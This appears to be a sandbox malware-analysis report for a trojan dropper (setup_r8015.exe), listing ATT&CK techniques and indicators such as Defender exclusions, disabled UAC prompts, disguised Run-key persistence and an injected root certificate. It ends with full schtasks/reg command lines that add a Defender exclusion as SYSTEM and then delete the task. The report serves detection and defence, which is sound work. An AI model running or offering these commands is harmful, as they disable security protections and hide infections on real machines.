44fc6134dc822eee906e508e9b8b46488eabc271a730e421dad9e9ff8a13577c

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	mVohIxuk.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	iUaQQ6.exe

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\wLzamD = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4712	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	iUaQQ6.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\International\Geo\Nation	tBibF0.exe

Executes dropped EXE 10 IoCs

pid	Process
4196	tBibF0.exe
4128	tBibF0.exe
1832	iUaQQ6.exe
4428	iUaQQ6.exe
4444	iUaQQ6.exe
3168	oFju7.exe
4724	cwdiHJOa.exe
964	mVohIxuk.exe
1164	Ueoi2IYB.exe
2036	oFju7.exe

Loads dropped DLL 7 IoCs

pid	Process
4196	tBibF0.exe
4128	tBibF0.exe
1832	iUaQQ6.exe
4428	iUaQQ6.exe
4444	iUaQQ6.exe
3168	oFju7.exe
2036	oFju7.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2020	icacls.exe
5428	icacls.exe
4232	icacls.exe
4236	icacls.exe
1968	icacls.exe
6064	icacls.exe
1796	icacls.exe
5704	icacls.exe
5932	icacls.exe
452	icacls.exe
1260	icacls.exe
3880	icacls.exe
5344	icacls.exe
5460	icacls.exe
5136	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\wLzamD\\tBibF0.exe\""	tBibF0.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\iUaQQ6\\iUaQQ6.exe\""	iUaQQ6.exe

Indicator Removal: Clear Persistence 1 TTPs 6 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

persistence privilege_escalation

Clear Persistence

T1070.009

pid	Process
980	cmd.exe
5172	cmd.exe
5356	cmd.exe
5452	cmd.exe
2808	cmd.exe
5036	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	tBibF0.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000d0000000242fd-788.dat	upx
behavioral1/memory/964-799-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral1/files/0x0007000000024508-818.dat	upx
behavioral1/memory/1164-819-0x00007FF771E50000-0x00007FF77227F000-memory.dmp	upx
behavioral1/memory/964-846-0x0000000000400000-0x000000000053F000-memory.dmp	upx

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\OGScYJ\oFju7.exe	iUaQQ6.exe
File opened for modification	C:\Program Files (x86)\OGScYJ\oFju7.exe	iUaQQ6.exe
File created	C:\Program Files (x86)\OGScYJ\thumbs.db	iUaQQ6.exe
File opened for modification	C:\Program Files (x86)\iUaQQ6\thumbs.db	tBibF0.exe
File opened for modification	C:\Program Files (x86)\OGScYJ	iUaQQ6.exe
File created	C:\Program Files (x86)\OGScYJ\image.png	iUaQQ6.exe
File opened for modification	C:\Program Files (x86)\OGScYJ\image.png	iUaQQ6.exe
File opened for modification	C:\Program Files (x86)\iUaQQ6	tBibF0.exe
File created	C:\Program Files (x86)\iUaQQ6\image.png	tBibF0.exe
File opened for modification	C:\Program Files (x86)\OGScYJ\thumbs.db	iUaQQ6.exe
File created	C:\Program Files (x86)\OGScYJ\XPSPLOG.dll	iUaQQ6.exe
File opened for modification	C:\Program Files (x86)\iUaQQ6\iUaQQ6.exe	tBibF0.exe
File opened for modification	C:\Program Files (x86)\OGScYJ\XPSPLOG.dll	iUaQQ6.exe
File created	C:\Program Files (x86)\iUaQQ6\iUaQQ6.exe	tBibF0.exe
File created	C:\Program Files (x86)\iUaQQ6\XPSPLOG.dll	tBibF0.exe
File created	C:\Program Files (x86)\iUaQQ6\thumbs.db	tBibF0.exe
File opened for modification	C:\Program Files (x86)\iUaQQ6\XPSPLOG.dll	tBibF0.exe
File opened for modification	C:\Program Files (x86)\iUaQQ6\image.png	tBibF0.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\Desktop\ScreenSaveActive = "0"	iUaQQ6.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	iUaQQ6.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\Desktop\SCRNSAVE.EXE	iUaQQ6.exe

Executes a command shell one-liner 1 TTPs 23 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
644	cmd.exe
4960	cmd.exe
5688	cmd.exe
2088	cmd.exe
4328	cmd.exe
812	cmd.exe
5552	cmd.exe
5368	cmd.exe
1480	cmd.exe
5132	cmd.exe
4796	cmd.exe
740	cmd.exe
5208	cmd.exe
2004	cmd.exe
5232	cmd.exe
5664	cmd.exe
5272	cmd.exe
5692	cmd.exe
1136	cmd.exe
2696	cmd.exe
5468	cmd.exe
4148	cmd.exe
632	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	Ueoi2IYB.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	Ueoi2IYB.exe

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iUaQQ6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oFju7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iUaQQ6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cwdiHJOa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mVohIxuk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oFju7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iUaQQ6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	iUaQQ6.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	iUaQQ6.exe

Modifies Control Panel 4 IoCs

defense_evasion spyware trojan

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\Desktop\ScreenSaveActive = "0"	iUaQQ6.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	iUaQQ6.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	iUaQQ6.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\Control Panel\Desktop\SCRNSAVE.EXE	iUaQQ6.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	tBibF0.exe

Modifies system certificate store 2 TTPs 1 IoCs

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	Ueoi2IYB.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5428	schtasks.exe
5552	schtasks.exe
5504	schtasks.exe
4988	schtasks.exe
5328	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
3644	setup_r8015.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe
4196	tBibF0.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4724	cwdiHJOa.exe
Token: SeLockMemoryPrivilege	1164	Ueoi2IYB.exe
Token: SeLockMemoryPrivilege	1164	Ueoi2IYB.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
964	mVohIxuk.exe
964	mVohIxuk.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 4196 wrote to memory of 980	4196	tBibF0.exe	106
PID 980 wrote to memory of 4988	980	cmd.exe	109
PID 980 wrote to memory of 1716	980	cmd.exe	110
PID 4196 wrote to memory of 5172	4196	tBibF0.exe	113
PID 980 wrote to memory of 5176	980	cmd.exe	112
PID 5172 wrote to memory of 5328	5172	cmd.exe	117
PID 4196 wrote to memory of 5356	4196	tBibF0.exe	118
PID 5356 wrote to memory of 5428	5356	cmd.exe	121
PID 4196 wrote to memory of 5452	4196	tBibF0.exe	122
PID 5172 wrote to memory of 812	5172	cmd.exe	124
PID 4196 wrote to memory of 2808	4196	tBibF0.exe	125
PID 5356 wrote to memory of 2900	5356	cmd.exe	128
PID 5172 wrote to memory of 3880	5172	cmd.exe	129
PID 5452 wrote to memory of 5552	5452	cmd.exe	130
PID 5356 wrote to memory of 5536	5356	cmd.exe	131
PID 2808 wrote to memory of 5504	2808	cmd.exe	132
PID 5452 wrote to memory of 1360	5452	cmd.exe	133
PID 2808 wrote to memory of 4972	2808	cmd.exe	134
PID 2808 wrote to memory of 5704	2808	cmd.exe	138
PID 5452 wrote to memory of 5664	5452	cmd.exe	137
PID 5132 wrote to memory of 3748	5132	cmd.exe	141
PID 5692 wrote to memory of 2828	5692	cmd.exe	142
PID 4796 wrote to memory of 5520	4796	cmd.exe	143
PID 4196 wrote to memory of 1832	4196	tBibF0.exe	147
PID 1832 wrote to memory of 740	1832	iUaQQ6.exe	153
PID 1832 wrote to memory of 644	1832	iUaQQ6.exe	155
PID 1832 wrote to memory of 1136	1832	iUaQQ6.exe	157
PID 1832 wrote to memory of 4328	1832	iUaQQ6.exe	159
PID 1832 wrote to memory of 5208	1832	iUaQQ6.exe	161
PID 644 wrote to memory of 1260	644	cmd.exe	162
PID 1832 wrote to memory of 4960	1832	iUaQQ6.exe	164
PID 4960 wrote to memory of 2020	4960	cmd.exe	166
PID 1832 wrote to memory of 2696	1832	iUaQQ6.exe	167
PID 2696 wrote to memory of 5428	2696	cmd.exe	169
PID 1832 wrote to memory of 2004	1832	iUaQQ6.exe	170
PID 2004 wrote to memory of 4232	2004	cmd.exe	172
PID 1832 wrote to memory of 812	1832	iUaQQ6.exe	173
PID 812 wrote to memory of 3880	812	cmd.exe	175
PID 1832 wrote to memory of 5552	1832	iUaQQ6.exe	176
PID 5552 wrote to memory of 5344	5552	cmd.exe	178
PID 1832 wrote to memory of 5232	1832	iUaQQ6.exe	179
PID 5232 wrote to memory of 4236	5232	cmd.exe	181
PID 1832 wrote to memory of 5368	1832	iUaQQ6.exe	182
PID 5368 wrote to memory of 5704	5368	cmd.exe	184
PID 1832 wrote to memory of 5664	1832	iUaQQ6.exe	185
PID 5664 wrote to memory of 5460	5664	cmd.exe	187
PID 1832 wrote to memory of 5468	1832	iUaQQ6.exe	188
PID 5468 wrote to memory of 5136	5468	cmd.exe	190
PID 1832 wrote to memory of 5272	1832	iUaQQ6.exe	191
PID 5272 wrote to memory of 5932	5272	cmd.exe	193
PID 1832 wrote to memory of 4148	1832	iUaQQ6.exe	194
PID 4148 wrote to memory of 1968	4148	cmd.exe	196
PID 1832 wrote to memory of 1480	1832	iUaQQ6.exe	197
PID 1480 wrote to memory of 6064	1480	cmd.exe	199
PID 1832 wrote to memory of 5688	1832	iUaQQ6.exe	200
PID 5688 wrote to memory of 452	5688	cmd.exe	202
PID 1832 wrote to memory of 2088	1832	iUaQQ6.exe	203
PID 2088 wrote to memory of 1796	2088	cmd.exe	205

System policy modification 1 TTPs 4 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	iUaQQ6.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	iUaQQ6.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	mVohIxuk.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	mVohIxuk.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\setup_r8015.exe
"C:\Users\Admin\AppData\Local\Temp\setup_r8015.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:3644

C:\Users\Public\wLzamD\tBibF0.exe
C:\Users\Public\wLzamD\tBibF0.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\wLzamD\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:980
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\wLzamD\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4988
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1716
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5176
- C:\Windows\System32\cmd.exe
